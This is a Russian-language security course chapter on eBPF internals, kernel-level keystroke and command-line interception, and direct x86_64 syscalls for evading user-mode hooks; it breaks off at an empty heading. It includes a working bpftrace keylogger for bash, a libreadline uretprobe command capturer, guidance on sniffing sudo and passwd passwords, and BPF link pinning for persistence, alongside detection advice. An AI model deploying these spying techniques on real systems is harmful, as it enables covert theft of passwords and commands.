Апокриф 08

eBPF для слежки и прямые системные вызовы

eBPF для слежки и прямые системные вызовы

В предшествующих разделах курса детально исследовалось взаимодействие прикладных процессов с операционной системой через стандартные интерфейсы: от манипуляций с переменными окружения и разделяемыми библиотеками до повышения привилегий через конфигурационные файлы и механизмы ядра. На уровне пользователя большинство программ опирается на стандартную библиотеку языка C (libc), которая служит связующим звеном между прикладным кодом и ядром Linux 1. Однако при решении задач глубокого аудита, скрытного мониторинга и противодействия системам обнаружения атак (EDR) модель взаимодействия радикально меняется.

Современные средства защиты традиционно размещают перехватчики в пространстве пользователя, отслеживая библиотечные вызовы. В ответ на это возникли техники прямых системных вызовов (англ. direct syscalls), позволяющие приложению обращаться к ядру напрямую через инструкцию процессора syscall, минуя любые пользовательские библиотеки и установленные в них ловушки 2. С другой стороны, само ядро Linux эволюционировало благодаря технологии eBPF (англ. Extended Berkeley Packet Filter): теперь ядро представляет собой полностью программируемую среду, способную перехватывать и анализировать любые действия процессов на уровне ring0 без модификации исходного кода ядра и без риска вызвать сбой системы 3.

В данной теме изучаются архитектура виртуальной машины eBPF в ядре Linux, принципы скрытого перехвата клавиатурного ввода через хукинг системного вызова sys_read, правила конвенции вызовов x86_64 и реализация прямых системных вызовов для обхода user-mode перехватчиков. В завершение рассматриваются методы обнаружения eBPF-программ средствами системного администратора и форензик-аналитика 3.

Архитектурная схема перехвата системных вызовов через eBPF представлена на рисунке 1.

Схема перехвата системного вызова через eBPF
Рисунок 1. Перехват системного вызова read через eBPF в ядре Linux

Архитектура eBPF и механизмы динамической трассировки

Программируемое ядро: виртуальная машина, верификатор и JIT

Исторически для наблюдения за поведением ядра требовалось либо разрабатывать модули ядра (.ko), либо применять тяжеловесную статическую трассировку. Модули ядра работают в привилегированном режиме ring0, и любая ошибка в указателях или разыменование нулевого адреса приводит к аварийной остановке операционной системы (kernel panic) 1. Технология eBPF коренным образом изменила данный подход, предоставив изолированную виртуальную машину непосредственно внутри ядра.

Программа eBPF представляет собой последовательность 64-битных инструкций виртуального процессора, оперирующего 11 регистрами (от r0 до r10, где r10 — неизменяемый указатель стека). Жизненный цикл программы eBPF состоит из следующих этапов 2:

  1. Компиляция: исходный код на языке C транслируется компилятором clang с флагом -target bpf в двоичный байткод.
  2. Загрузка: непривилегированный или привилегированный процесс передаёт байткод в ядро с помощью системного вызова bpf(BPF_PROG_LOAD, ...).
  3. Верификация: статический верификатор ядра выполняет глубокий анализ графа потока управления (CFG). Проверяется отсутствие бесконечных циклов, недостижимого кода, выход за границы стека и попытки несанкционированного доступа к памяти ядра. Если верификатор находит потенциальную угрозу стабильности, загрузка программы отклоняется.
  4. JIT-компиляция: одобренный байткод компилируется «на лету» (Just-In-Time) в машинные инструкции целевого процессора (например, x86_64) и прикрепляется к выбранному событию ядра.

Точки перехвата: kprobes, tracepoints и uprobes

Исполнение загруженной программы eBPF активируется при наступлении определённых системных событий. Выбор точки перехвата определяет полноту получаемой информации и устойчивость трейсера к обновлениям ядра 2:

Тип перехватаОбласть действияСтабильность APIНазначение
tracepointЯдро (ring0)Высокая (гарантирована)Статические маркеры в системных вызовах и планировщике
kprobe / kretprobeЯдро (ring0)Зависит от версии ядраДинамический перехват входа и выхода из функций ядра
uprobe / uretprobeПользователь (ring3)Зависит от бинарникаДинамический перехват функций в библиотеках ELF
raw_tracepointЯдро (ring0)ВысокаяНизкоуровневый доступ к аргументам без накладных расходов
fentry / fexitЯдро (ring0)Зависит от версии ядраПерехват на входе и выходе функции через трамплин BPF
iter / syscallЯдро (ring0)СредняяОбход структур ядра и перехват всех syscall-точек

Разница между kprobe и fentry не косметическая. kprobe подменяет первые байты функции ядра точкой останова (int3 или jmp), затем во временном обработчике восстанавливает оригинальные инструкции и эмулирует их выполнение — это дорого и оставляет след в виде модифицированного кода ядра. fentry использует механизм ftrace и трамплины, которые компилятор расставляет при сборке ядра (-pg/-mfentry): код функции не меняется, вызов программы eBPF добавляется косвенно через таблицу трамплинов 6. Для обнаружения это принципиально: kprobe виден по модифицированным байтам функции, а fentry — только по записи в таблице трамплинов и по наличию самой программы.

Точки трассировки tracepoints являются предпочтительными для мониторинга системных вызовов, поскольку их сигнатуры зафиксированы в исходном коде ядра Linux и не меняются между минорными версиями дистрибутива 3. Просмотреть доступные статические точки перехвата системных вызовов можно через виртуальную файловую систему tracefs:

ls /sys/kernel/tracing/events/syscalls | grep -E 'sys_enter_(read|write|execve)'
sys_enter_execve
sys_enter_execveat
sys_enter_read
sys_enter_readv
sys_enter_write
sys_enter_writev

Каждая точка трассировки имеет файл описания формата format, где перечислены типы и смещения аргументов системного вызова:

cat /sys/kernel/tracing/events/syscalls/sys_enter_read/format
name: sys_enter_read
ID: 712
format:
	field:unsigned short common_type;	offset:0;	size:2;	signed:0;
	field:unsigned char common_flags;	offset:2;	size:1;	signed:0;
	field:unsigned char common_preempt_count;	offset:3;	size:1;	signed:0;
	field:int common_pid;	offset:4;	size:4;	signed:1;

	field:int __syscall_nr;	offset:8;	size:4;	signed:1;
	field:unsigned int fd;	offset:16;	size:8;	signed:0;
	field:char * buf;	offset:24;	size:8;	signed:0;
	field:size_t count;	offset:32;	size:8;	signed:0;

print fmt: "fd: 0x%08lx, buf: 0x%08lx, count: 0x%08lx", ((unsigned long)(REC->fd)), ((unsigned long)(REC->buf)), ((unsigned long)(REC->count))

Загруженная программа ещё ничего не перехватывает. Чтобы она начала исполняться, её нужно прикрепить (англ. attach) к событию. Исторически для этого использовался perf_event_open(2): ядро создавало perf_event, в него записывался дескриптор программы через ioctl(PERF_EVENT_IOC_SET_BPF), событие включалось PERF_EVENT_IOC_ENABLE. Схема работала, но имела неприятное свойство: привязка жила ровно столько, сколько жил дескриптор perf_event, а сам дескриптор был привязан к процессу-владельцу 6.

Начиная с ядра 5.7 появился системный вызов-команда BPF_LINK_CREATE (команда bpf() с номером 28). Ссылка (struct bpf_link) — самостоятельный объект ядра, который держит привязку независимо от того, открыт ли дескриптор perf_event, и, что важнее, может быть закреплён в /sys/fs/bpf через BPF_OBJ_PIN. Именно это превращает eBPF-трейсер из «пока крутится мой процесс» в постоянное присутствие в ядре.

union bpf_attr attr = {
    .link_create.prog_fd        = prog_fd,
    .link_create.target_fd      = perf_fd,   /* или 0 для fentry по BTF-id */
    .link_create.attach_type    = BPF_PERF_EVENT,
    .link_create.flags          = 0,
};
int link_fd = syscall(__NR_bpf, BPF_LINK_CREATE, &attr, sizeof(attr));
if (link_fd < 0) { perror("BPF_LINK_CREATE"); return 1; }

Для fentry/fexit привязка идёт не через perf_event, а через BTF-идентификатор функции: в link_create заполняются attach_btf_id и attach_btf_obj_fd. Ядро само находит нужный трамплин, и программа начинает вызываться при входе в функцию — без int3, без патча кода, без perf 6.

Отсюда три следствия, важные и для атакующего, и для защитника.

  1. Привязка переживает процесс. Если ссылку закрепить (BPF_OBJ_PIN) в /sys/fs/bpf, она останется после завершения bpftrace, после выхода из SSH-сессии и после перезагрузки — при условии, что каталог /sys/fs/bpf смонтирован и кто-то заново открывает закреплённый объект при старте (обычно через unit-файл, см. тему 05).
  2. Привязку видно в списке ссылок. bpftool link list показывает каждую ссылку с типом, идентификатором программы и целью. Программа без ссылки не работает; ссылка без закрепления умирает вместе с дескриптором. Поэтому при разборе инцидента смотрят именно ссылки, а не только программы.
  3. Ссылку можно отвязать, не выгружая программу. BPF_LINK_DETACH (команда 33) разрывает привязку, оставляя программу загруженной. Обратная операция тоже возможна: закреплённую программу можно заново прикрепить к другой цели.

Виртуальная машина eBPF: регистры, стек и инструкции

Одиннадцать регистров и 512 байт стека

eBPF — не «ещё один язык», а виртуальная машина с фиксированным набором регистров и собственной системой команд. Регистров одиннадцать: r0–r10. r0 — возвращаемое значение, r1–r5 — аргументы функции и временные значения, r6–r9 — сохраняемые между вызовами, r10 — указатель на кадр стека, только для чтения.

Стек — 512 байт на программу, и он проверяется верификатором: обращение за границы, к неинициализированным байтам или по отрицательному смещению от r10 отклоняется. Это не «мягкая рекомендация», а жёсткое ограничение: программа, которая попытается прочитать 513-й байт, не загрузится.

Инструкция — 8 байт:

struct bpf_insn {
    __u8 code;        /* opcode: класс + операция */
    __u8 dst_reg:4;   /* регистр-приёмник */
    __u8 src_reg:4;   /* регистр-источник */
    __s16 off;        /* смещение для переходов и памяти */
    __s32 imm;        /* непосредственное значение */
};

Классы: BPF_LD/BPF_LDX (загрузка), BPF_ST/BPF_STX (сохранение), BPF_ALU/BPF_ALU64 (арифметика), BPF_JMP/BPF_JMP32 (переходы), BPF_CALL (вызов хелпера). Размер инструкции фиксирован — это упрощает верификатор, но исключает «переменную длину», как в x86.

BPF_PROG_LOAD и что проверяет верификатор

Программа загружается системным вызовом bpf() с командой BPF_PROG_LOAD (5) и структурой union bpf_attr, в которой: тип программы, указатель на массив инструкций, число инструкций, указатель на лицензию, указатель на журнал верификатора.

Верификатор проходит несколько стадий:

  1. Разбор и проверка CFG. Каждая инструкция достижима, переходы не выходят за границы, нет «висячих» байтов.
  2. Типы регистров. Для каждой точки программы известно, что лежит в регистре: скаляр с диапазоном, указатель на карту, указатель на стек, указатель на контекст.
  3. Границы памяти. Обращение к карте проверяется по размеру значения, к стеку — по смещению и размеру.
  4. Циклы. До ядра 5.3 циклы были запрещены полностью; с 5.3 разрешены ограниченные циклы, и верификатор доказывает, что счётчик ограничен.
  5. Вызовы хелперов. Каждый хелпер имеет прототип; верификатор проверяет типы аргументов и то, что программа не вызывает запрещённые для её типа хелперы.

Отсюда класс уязвимостей, разобранный в теме 04: если верификатор ошибся в типе или границе, программа, «доказанная» безопасной, читает или пишет за пределами карты. Именно поэтому unprivileged_bpf_disabled=2 — правильная настройка по умолчанию.

Проверить, что загружено и какие программы активны, можно bpftool. Пример вывода для программы, перехватывающей read:

sudo bpftool prog list
sudo bpftool prog show id 42
42: tracepoint  name sys_enter_read  tag 3f9a2b1c4d5e6f70  gpl
	loaded_at 2026-10-19T18:20:11+0300  uid 0
	xlated 512B  jited 301B  memlock 4096B  map_ids 7,8

Читается так: тип tracepoint, имя, тег (хеш инструкций), лицензия gpl (без неё недоступны часть хелперов), время загрузки, размер до и после JIT, идентификаторы карт. По memlock видно, сколько памяти закреплено за программой.

JIT и почему это важно для обнаружения

Без JIT программа интерпретируется ядром; с JIT (CONFIG_BPF_JIT, включён по умолчанию) компилируется в машинный код. Для обнаружения это означает: в памяти ядра появляется исполняемая страница с кодом, а в kallsyms — символы вида bpf_prog_<tag>.

grep -c 'bpf_prog_' /proc/kallsyms
cat /proc/sys/net/core/bpf_jit_enable
ls -l /proc/sys/net/core/bpf_jit_harden
cat /proc/sys/net/core/bpf_jit_harden
471
1
-rw------- 1 root root 0 окт 19 18:40 /proc/sys/net/core/bpf_jit_harden
cat: /proc/sys/net/core/bpf_jit_harden: Отказано в доступе

bpf_jit_enable = 1 — JIT включён. Параметр bpf_jit_harden существует, но имеет права 0600: прочитать его может только суперпользователь. Само по себе это диагностический признак — администратор видит, что настройка есть, но её значение скрыто от непривилегированного процесса. Значение 2 означало бы, что «затвердевание» включено: константы в машинном коде заменяются на вычисляемые, и поиск программ по байтовым сигнатурам усложняется.

Число 471 — общее количество символов bpf_prog_ в таблице, включая встроенные программы подсистем, поэтому само по себе оно ничего не доказывает. Для защитника это означает, что искать программу по байтам бесполезно — надо смотреть метаданные: bpftool prog list, карты, ссылки.

Карты: типы и команды

Карты — единственный способ сохранить состояние между вызовами программы. Основные типы:

ТипКонстантаНазначение
HASH1ассоциативный массив произвольного размера
ARRAY2массив фиксированного размера, индексы 0..n-1
PROG_ARRAY3массив ссылок на программы (tail call)
PERF_EVENT_ARRAY4доставка событий в userspace через perf
PERCPU_HASH5хеш с отдельным значением на CPU
RINGBUF27кольцевой буфер для событий (ядро 5.8+)
LPM_TRIE11longest-prefix match для адресов

Команды bpf() для карт: BPF_MAP_CREATE (0), BPF_MAP_LOOKUP_ELEM (1), BPF_MAP_UPDATE_ELEM (2), BPF_MAP_DELETE_ELEM (3), BPF_MAP_GET_NEXT_KEY (4). Плюс BPF_OBJ_PIN (6) и BPF_OBJ_GET (7) — закрепление в /sys/fs/bpf, о котором ниже.

Почему карты вообще нужны, если есть стек? Потому что стек живёт ровно один вызов программы. Между sys_enter_read и sys_exit_read программа исполняется дважды, и во второй раз стека от первого вызова уже нет. Все данные, которые нужно пронести через границу вызовов, обязаны лежать в карте. Это же ограничение диктует форму шпионских программ: адрес буфера запоминается на входе в карту, а читается на выходе из неё.

Кольцевой буфер (BPF_MAP_TYPE_RINGBUF, ядро 5.8+) устроен иначе, чем PERF_EVENT_ARRAY: это единый буфер, разделённый между ядром и пользователем, с двумя указателями — producer и consumer. Программа резервирует область (bpf_ringbuf_reserve), заполняет её и публикует (bpf_ringbuf_submit); пользователь читает через mmap, без системного вызова на каждое событие. Порядок публикации обеспечивается барьером памяти внутри submit, поэтому читатель никогда не увидит частично заполненную запись. Отсюда два следствия: буфер быстрее perf в разы, и при переполнении он теряет события, а не блокирует программу — резерв возвращает NULL.

Пример вывода bpftool для карты, накопленной шпионом:

sudo bpftool map list
sudo bpftool map dump id 7
7: hash  name events  flags 0x0
	key 4B  value 32B  max_entries 1024  memlock 81920B
key: 00 00 00 00  value: 01 00 00 00 ...

key 4B value 32B max_entries 1024 — это и есть «что и сколько хранит программа». Для разбора инцидента карта часто важнее самой программы: в ней остаются собранные данные.

BTF и CO-RE: как программа узнаёт структуры ядра

BTF (BPF Type Format) — описание типов, встроенное в ядро (.BTF) и в программы. Оно позволяет писать bpf_probe_read_kernel(&pid, sizeof(pid), &task->pid) без знания смещения: смещение вычисляется по BTF и переносится между версиями ядра — это и есть CO-RE (Compile Once, Run Everywhere).

Формат BTF — это не «магия» и не закрытый бинарный формат. Заголовок содержит смещения и длины двух блоков: таблицы типов и таблицы строк. Прочитать его можно любым языком, и это лучший способ понять, откуда берутся смещения полей:

import struct
raw = open("/sys/kernel/btf/vmlinux", "rb").read()
magic, ver, flags, hdr_len, type_off, type_len, str_off, str_len = \
    struct.unpack("<HBBIIIII", raw[:24])
print(f"magic=0x{magic:x} version={ver} hdr_len={hdr_len}")
print(f"типов={type_len} байт, строк={str_len} байт, файл={len(raw)} байт")
magic=0xeb9f version=1 hdr_len=24
типов=3680640 байт, строк=2697421 байт, файл=6378085 байт

Каждая запись таблицы типов начинается с трёх полей: смещение имени в таблице строк, 32-битное слово info (в нём упакованы вид типа и число элементов) и поле размера. Обойдя таблицу, можно найти любую структуру ядра и её поля — именно это и делает bpftool btf dump, только на C и с генерацией заголовка 7:

файл BTF: 6378085 байт, типов: 143964
struct task_struct: id=131625 size=6144 байт, полей=268
  tasks        смещение  2664 байт (0xa68)
  mm           смещение  2744 байт (0xab8)
  pid          смещение  2872 байт (0xb38)
  tgid         смещение  2876 байт (0xb3c)
  parent       смещение  2896 байт (0xb50)
  real_cred    смещение  3384 байт (0xd38)
  cred         смещение  3392 байт (0xd40)
  comm         смещение  3408 байт (0xd50)

Читается это так: task_struct в этом ядре занимает 6144 байта и содержит 268 полей; поле cred лежит по смещению 0xd40, а comm — по 0xd50, сразу за ним. Именно эти числа подставляет CO-RE, когда в исходнике написано task->cred: компилятор оставляет релокацию с именем поля, а libbpf при загрузке находит тип в BTF ядра и подставляет актуальное смещение.

Практическое следствие: программа на CO-RE не ломается при обновлении ядра, а значит «обновление ядра» не является защитой от неё. Защита — только права и запрет загрузки.

Сборка программы: clang, libbpf и скелет

Программа eBPF пишется на C, но компилируется не в машинный код целевого процессора, а в байткод виртуальной машины. Отсюда отдельный таргет компилятора и отдельный набор заголовков:

clang -O2 -g -target bpf -D__TARGET_ARCH_x86 \
      -I/usr/include/bpf -c sniffer.bpf.c -o sniffer.bpf.o
llvm-strip -g sniffer.bpf.o

Флаг -g обязателен: он заставляет clang записать в объектный файл BTF-описание типов, без которого CO-RE-релокации не применятся. -D__TARGET_ARCH_x86 подставляет нужные определения регистров в vmlinux.h. llvm-strip -g убирает отладочную информацию, но сохраняет BTF — объект получается компактнее, а релокации работают.

Сама программа — это функция с секцией, имя которой определяет тип:

#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>

struct {
    __uint(type, BPF_MAP_TYPE_RINGBUF);
    __uint(max_entries, 1 << 16);
} events SEC(".maps");

SEC("tracepoint/syscalls/sys_enter_read")
int on_read(struct trace_event_raw_sys_enter *ctx)
{
    struct event *e = bpf_ringbuf_reserve(&events, sizeof(*e), 0);
    if (!e)
        return 0;                      /* буфер полон — тихо выходим */
    e->pid  = bpf_get_current_pid_tgid() >> 32;
    e->fd   = (int)ctx->args[0];
    bpf_get_current_comm(&e->comm, sizeof(e->comm));
    bpf_ringbuf_submit(e, 0);
    return 0;
}

char LICENSE[] SEC("license") = "GPL";

Три вещи здесь неочевидны. Во-первых, SEC() — не декоративная аннотация: имя секции tracepoint/syscalls/sys_enter_read разбирается загрузчиком и превращается в пару «тип программы + цель привязки». Ошибка в одной букве даёт программу, которая загрузится, но не привяжется. Во-вторых, bpf_ringbuf_reserve может вернуть NULL, и это не ошибка, а нормальный режим переполнения: правильная программа выходит, а не пишет в пустоту. В-третьих, лицензия GPL объявлена отдельной секцией и проверяется ядром: без неё часть хелперов, включая работу с kprobe, недоступна, и программа не загрузится с EACCES.

Дальше libbpf собирает всё вместе. Утилита bpftool gen skeleton превращает объектный файл в C-заголовок со структурами и функциями открытия, загрузки и привязки:

bpftool gen skeleton sniffer.bpf.o > sniffer.skel.h

В пользовательской части остаётся три вызова:

struct sniffer_bpf *skel = sniffer_bpf__open_and_load();
if (!skel) { fprintf(stderr, "load failed\n"); return 1; }
if (sniffer_bpf__attach(skel)) { fprintf(stderr, "attach failed\n"); return 1; }
/* ... цикл чтения ringbuf ... */
sniffer_bpf__destroy(skel);

Скелет снимает с автора всю рутину: BPF_PROG_LOAD, создание карт, применение релокаций, привязку. Именно поэтому eBPF-шпион на libbpf — это два файла и Makefile, а не тысяча строк на голых системных вызовах. И именно поэтому защитнику бессмысленно искать «подозрительный бинарник»: такой трейсер выглядит как обычная утилита на C, собранная штатным компилятором 6.

Перехват системного вызова read и клавиатурного ввода

Трассировка sys_enter_read и sys_exit_read

Классической задачей наступательного или оборонительного мониторинга является слежка за вводом команд и паролей в терминале. В операционной системе Linux пользовательский ввод из псевдотерминала (/dev/pts/*) поступает в интерактивную командную оболочку bash посредством системного вызова read с дескриптором файла 0 (стандартный поток ввода stdin) 1.

При входе в системный вызов (sys_enter_read) буфер назначения buf ещё пуст: ядро только начинает операцию. Поэтому фиксация прочитанных данных требует связки двух перехватчиков 2:

  1. В точке sys_enter_read запоминается соответствие текущего потока (pid_tgid), дескриптора fd и виртуального адреса буфера buf (сохраняется во временной карте BPF_MAP_TYPE_HASH).
  2. В точке sys_exit_read анализируется возвращаемое значение (args->ret). Если прочитано положительное число байт, eBPF-программа извлекает адрес сохранённого буфера и с помощью функции-помощника bpf_probe_read_user() копирует байты из пространства памяти процесса в карту для отправки шпиону.

Невидимый кейлоггинг на уровне ядра

Для быстрого прототипирования eBPF-шпионов применяется специализированный трассировщик bpftrace, синтаксис которого напоминает утилиту awk 3.

Рассмотрим скрипт перехвата ввода для оболочки bash:

tracepoint:syscalls:sys_enter_read
/comm == "bash"/
{
    @buffers[tid] = args.buf;
}

tracepoint:syscalls:sys_exit_read
/@buffers[tid]/
{
    $len = args.ret;
    if ($len > 0) {
        printf("[KEYLOGGER PID %d] Ввод: %s\n", pid, str(@buffers[tid], $len));
    }
    delete(@buffers[tid]);
}

Ключевое свойство такой слежки: перехват выполняется на уровне ядра без малейшей модификации исполняемого файла /bin/bash или разделяемой библиотеки libc.so.6. В пространстве пользователя отсутствуют какие-либо артефакты:

  • Таблица процессов ps -ef не показывает сторонних потоков внутри оболочки;
  • Список открытых дескрипторов lsof -p <PID> не содержит сокетов или файлов шпиона;
  • Переменные окружения процесса (LD_PRELOAD) остаются абсолютно чистыми 5.

uprobe на readline: перехват командной строки целиком

Перехват read даёт поток байтов — сырой, дроблёный, с эхо-повторами и escape-последовательностями от стрелок и Tab. Строка, которую человек набрал, собирается из этих байтов только внутри самой оболочки. Значит, есть точка точнее: функция readline(), которая возвращает уже готовую строку.

Тонкость, на которой спотыкаются почти все: в bash символ readline не определён, он импортируется из разделяемой библиотеки. Проверяется одной командой:

ldd /bin/bash | grep readline
nm -D /bin/bash | grep -w readline
	libreadline.so.8 => /usr/lib/libreadline.so.8 (0x00007f4dce791000)
                 U readline

Буква U в выводе nm означает undefined — символ будет разрешён динамическим загрузчиком. Поэтому uprobe:/bin/bash:readline не сработает, а uprobe:/usr/lib/libreadline.so.8:readline — сработает, причём сразу для всех процессов, которые эту библиотеку загрузили 6:

uretprobe:/usr/lib/libreadline.so.8:readline
/comm == "bash"/
{
    $line = retval;
    if ($line != 0) {
        printf("[CMD %s pid=%d] %s\n", comm, pid, str($line));
    }
}

uretprobe — перехват на выходе из функции, поэтому retval уже содержит указатель на готовую строку. Функция возвращает char *, который живёт в куче процесса; str() в bpftrace разыменовывает его через bpf_probe_read_user_str(), безопасно копируя строку в карту.

Второй важный эффект: readline вызывается не только для команд. Через неё идут строки в python3, psql, sqlite3, gdb, интерактивных оболочках mysql и redis-cli — все они линкуются с libreadline или libedit. Один хук закрывает весь интерактивный ввод на машине, независимо от того, какая программа этот ввод принимает.

Где на самом деле лежит пароль: разбор трёх случаев

Самая частая ошибка при написании такого сниффера — считать, что «перехват read = перехват пароля». Это верно не всегда, и разница между случаями принципиальна.

Случай первый: локальная аутентификация. sudo, su, passwd, login читают пароль с терминала через read() из дескриптора 0, потому что терминал отключил эхо (ECHO снят через tcsetattr). Байты идут в открытом виде, и tracepoint:syscalls:sys_enter_read с фильтром по comm даёт пароль напрямую. Это тот случай, который работает.

Случай второй: SSH-сессия, пароль вводится в sudo. Здесь всё ещё работает: sudo внутри сессии читает с псевдотерминала /dev/pts/N, а sshd только передаёт байты. Фильтр по comm == "sudo" ловит ввод. Тот же приём ловит пароль, который человек печатает в passwd при смене пароля, — и это ровно то, что нужно защищать.

Случай третий: пароль вводится в sshd при аутентификации. Здесь приём не работает, и вот почему. sshd вызывает read() на сетевом сокете и получает шифротекст: расшифровка происходит позже, в пространстве пользователя, внутри функций работы с пакетами SSH. К моменту, когда в памяти появляется открытый пароль, read() уже давно вернулся. Перехват sys_enter_read для comm == "sshd" покажет поток зашифрованных байтов — бесполезный для атакующего и успокаивающий для защитника.

Открытый пароль в этом случае существует только как аргумент функции проверки подлинности внутри sshd. Значит, для него нужен либо uprobe на конкретную функцию модуля аутентификации (у каждой версии OpenSSH своя, и она меняется), либо чтение памяти процесса — приём из темы 09. Это хороший пример общего правила: чем выше уровень абстракции, тем стабильнее хук и тем меньше в нём смысла. tracepoint на read стабилен, но даёт сырые байты; uprobe на внутреннюю функцию даёт готовый секрет, но ломается при каждом обновлении пакета.

Извлечение конфиденциальных данных и фильтрация

В реальных сценариях перехватчик фильтрует поток событий, чтобы не переполнять кольцевой буфер служебными данными (чтение конфигурационных файлов, скриптов автодополнения). Фильтрация осуществляется проверкой дескриптора файла: интерес представляет исключительно fd == 0 (стандартный ввод терминала), либо чтение из символьных устройств консоли.

Кроме того, eBPF-программа может определять контекст родительского процесса через внутреннюю структуру ядра task_struct, выявляя моменты аутентификации через sudo или su 1.

Прямые системные вызовы в архитектуре x86_64

Анатомия перехода: инструкция syscall и регистры

Традиционно программы для Linux не выполняют системные вызовы напрямую. Вместо этого прикладной код вызывает обёртку в стандартной библиотеке C: read(), write(), openat(). Обёртка подготавливает аргументы и выполняет инструкцию перехода в ядро 1. Такое разделение отражает классическую философию проектирования UNIX, согласно которой прикладное ПО изолировано от прямого управления низкоуровневыми аппаратными структурами 4.

В 64-битной архитектуре x86_64 переход в ring0 осуществляется специализированной инструкцией процессора syscall. При её выполнении процессор сохраняет текущий адрес возврата в регистре %rcx, флаги процессора %rflags — в регистре %r11, после чего переключает уровень привилегий на уровень ядра и передаёт управление по адресу, сохранённому в специальном машинном регистре MSR_LSTAR 2.

Конвенция системных вызовов Linux на архитектуре x86_64 строго регламентирует использование регистров:

НазначениеРегистр CPUПримечание
Номер системного вызоваRAXУникальный идентификатор операции ядра
Аргумент 1RDIПервый параметр (например, дескриптор fd)
Аргумент 2RSIВторой параметр (указатель buf)
Аргумент 3RDXТретий параметр (размер count)
Аргумент 4R10Внимание: R10, а не RCX! (RCX затирается инструкцией syscall)
Аргумент 5R8Пятый параметр
Аргумент 6R9Шестой параметр
Результат вызоваRAXЗначение >= 0 при успехе, -errno при ошибке

На рисунке 2 проиллюстрировано принципиальное отличие библиотечного вызова от прямого обращения к ядру.

Сравнение путей выполнения: библиотечный вызов против прямого syscall
Рисунок 2. Выполнение системного вызова через библиотеку libc и напрямую

Таблица номеров системных вызовов в unistd_64.h

Каждому системному вызову в ядре сопоставлен целочисленный номер. В системах Linux для архитектуры x86_64 каноническая таблица номеров зафиксирована в системном заголовочном файле /usr/include/asm/unistd_64.h 2.

Исследуем содержимое таблицы номеров системных вызовов с помощью утилит командной строки:

grep -E '__NR_(read|write|open|close|execve|bpf)\b' /usr/include/asm/unistd_64.h
#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
#define __NR_execve 59
#define __NR_bpf 321

Как видно из заголовка, вызов read имеет номер 0, write — 1, а системный вызов bpf — 321.

Функция syscall() и реализация на встроенном ассемблере

В языке C выполнить системный вызов в обход стандартной обёртки функции можно двумя путями: с помощью функции syscall(long number, ...) из <unistd.h>, либо непосредственно через блок встроенного ассемблера __asm__ volatile 1.

Реализуем чтение из стандартного ввода с помощью ассемблерной вставки:

#define _GNU_SOURCE
#include <unistd.h>
#include <stddef.h>

long asm_sys_read(int fd, void *buf, size_t count) {
    long ret;
    __asm__ volatile (
        "movq $0, %%rax\n\t"        /* Номер __NR_read = 0 */
        "movq %1, %%rdi\n\t"        /* arg1: fd */
        "movq %2, %%rsi\n\t"        /* arg2: buf */
        "movq %3, %%rdx\n\t"        /* arg3: count */
        "syscall\n\t"               /* Инструкция перехода в ring0 */
        "movq %%rax, %0\n\t"        /* Сохранение возвращаемого значения */
        : "=r"(ret)
        : "r"((long)fd), "r"(buf), "r"((long)count)
        : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory"
    );
    return ret;
}

Обратите внимание на список разрушаемых регистров (clobber list): в нём обязательно указываются "rcx" и "r11", так как процессорная инструкция syscall модифицирует их аппаратно при сохранении контекста 2.

Программа без libc: -nostdlib и собственная точка входа

Ассемблерная вставка убирает вызов библиотечной обёртки, но сама программа всё ещё слинкована с libc: загрузчик подгружает её, конструкторы выполняются, main вызывается из __libc_start_main. Для полного разрыва с пользовательской библиотекой собирают статический бинарник без стандартного старта:

gcc -nostdlib -static -O2 -o naked naked.c

В таком файле нет ни main, ни __libc_start_main: точкой входа служит _start, а всё, что нужно программе, она делает сама. Проверить это можно по таблице символов и по списку зависимостей:

LC_ALL=C readelf -h naked | grep 'Entry point'
LC_ALL=C readelf -d naked 2>/dev/null | grep NEEDED || echo "нет зависимостей от .so"
  Entry point address:               0x401000
нет зависимостей от .so

Пустая таблица NEEDED означает, что динамическому загрузчику в этом файле делать нечего: ld.so не участвует в запуске, LD_PRELOAD не применяется, /etc/ld.so.preload не читается. Для перехватчика в пространстве пользователя такой процесс — чёрный ящик: подменить в нём нечего, потому что подменять нечего.

Полная программа, которая печатает строку и завершается, без единого библиотечного вызова, выглядит так:

/* naked.c — сборка: gcc -nostdlib -static -O2 -o naked naked.c */
#define SYS_write 1
#define SYS_exit  60

static long raw_syscall3(long n, long a, long b, long c)
{
    long ret;
    __asm__ volatile ("syscall"
        : "=a"(ret)
        : "a"(n), "D"(a), "S"(b), "d"(c)
        : "rcx", "r11", "memory");
    return ret;
}

void _start(void)
{
    static const char msg[] = "naked binary: no libc, no hooks\n";
    raw_syscall3(SYS_write, 1, (long)msg, sizeof(msg) - 1);
    raw_syscall3(SYS_exit, 0, 0, 0);
    __builtin_unreachable();
}

Здесь использованы ограничения компилятора "D", "S", "d", "a" — они кладут значения сразу в rdi, rsi, rdx, rax, избавляя от ручных movq. Это чище и короче, чем явные пересылки, и компилятор сам следит за тем, чтобы регистры не пересеклись с входными значениями.

Что прямой вызов не обходит: seccomp и eBPF

Прямой системный вызов обходит перехватчики, работающие в пространстве пользователя. Список того, что он обходит, короток и конкретен: LD_PRELOAD, /etc/ld.so.preload, inline-патчинг функций libc, ltrace, библиотечные обёртки аудита. Всё это живёт в ring3 и исчезает вместе с libc.

Список того, что он не обходит, длиннее, и его полезно знать наизусть 2:

  • seccomp-фильтры. Фильтр seccomp проверяет номер системного вызова и аргументы в момент входа в ядро, до выполнения обработчика. Путь до инструкции syscall не имеет значения: read есть read, откуда бы он ни пришёл.
  • ptrace и strace. Трассировщик останавливает процесс на входе в системный вызов через PTRACE_SYSCALL, и это происходит уже после перехода в ring0.
  • auditd. Правила аудита на системные вызовы (-a always,exit -F arch=b64 -S openat) срабатывают в ядре, в общей точке входа.
  • eBPF-трейсеры. Точка tracepoint:syscalls:sys_enter_read находится внутри entry_SYSCALL_64, ниже любого пользовательского кода.
  • LSM-хуки. Yama, AppArmor, SELinux вызываются из ядра по факту операции, а не по факту библиотечного вызова.

Практический вывод: прямой системный вызов — это инструмент против пользовательских хуков, а не против ядерных. В модели угроз, где защита ставит eBPF-трейсер (а современные EDR на Linux делают именно это), прямой вызов не даёт ничего: операция всё равно видна. Его настоящая ценность в другом — он гарантирует, что операция выполнится, даже если все разделяемые библиотеки в процессе подменены, и он не оставляет в процессе следов в виде загруженных хуков.

Обход перехватчиков пространства пользователя (EDR и LD_PRELOAD)

Механизм user-mode хукинга и инспекции

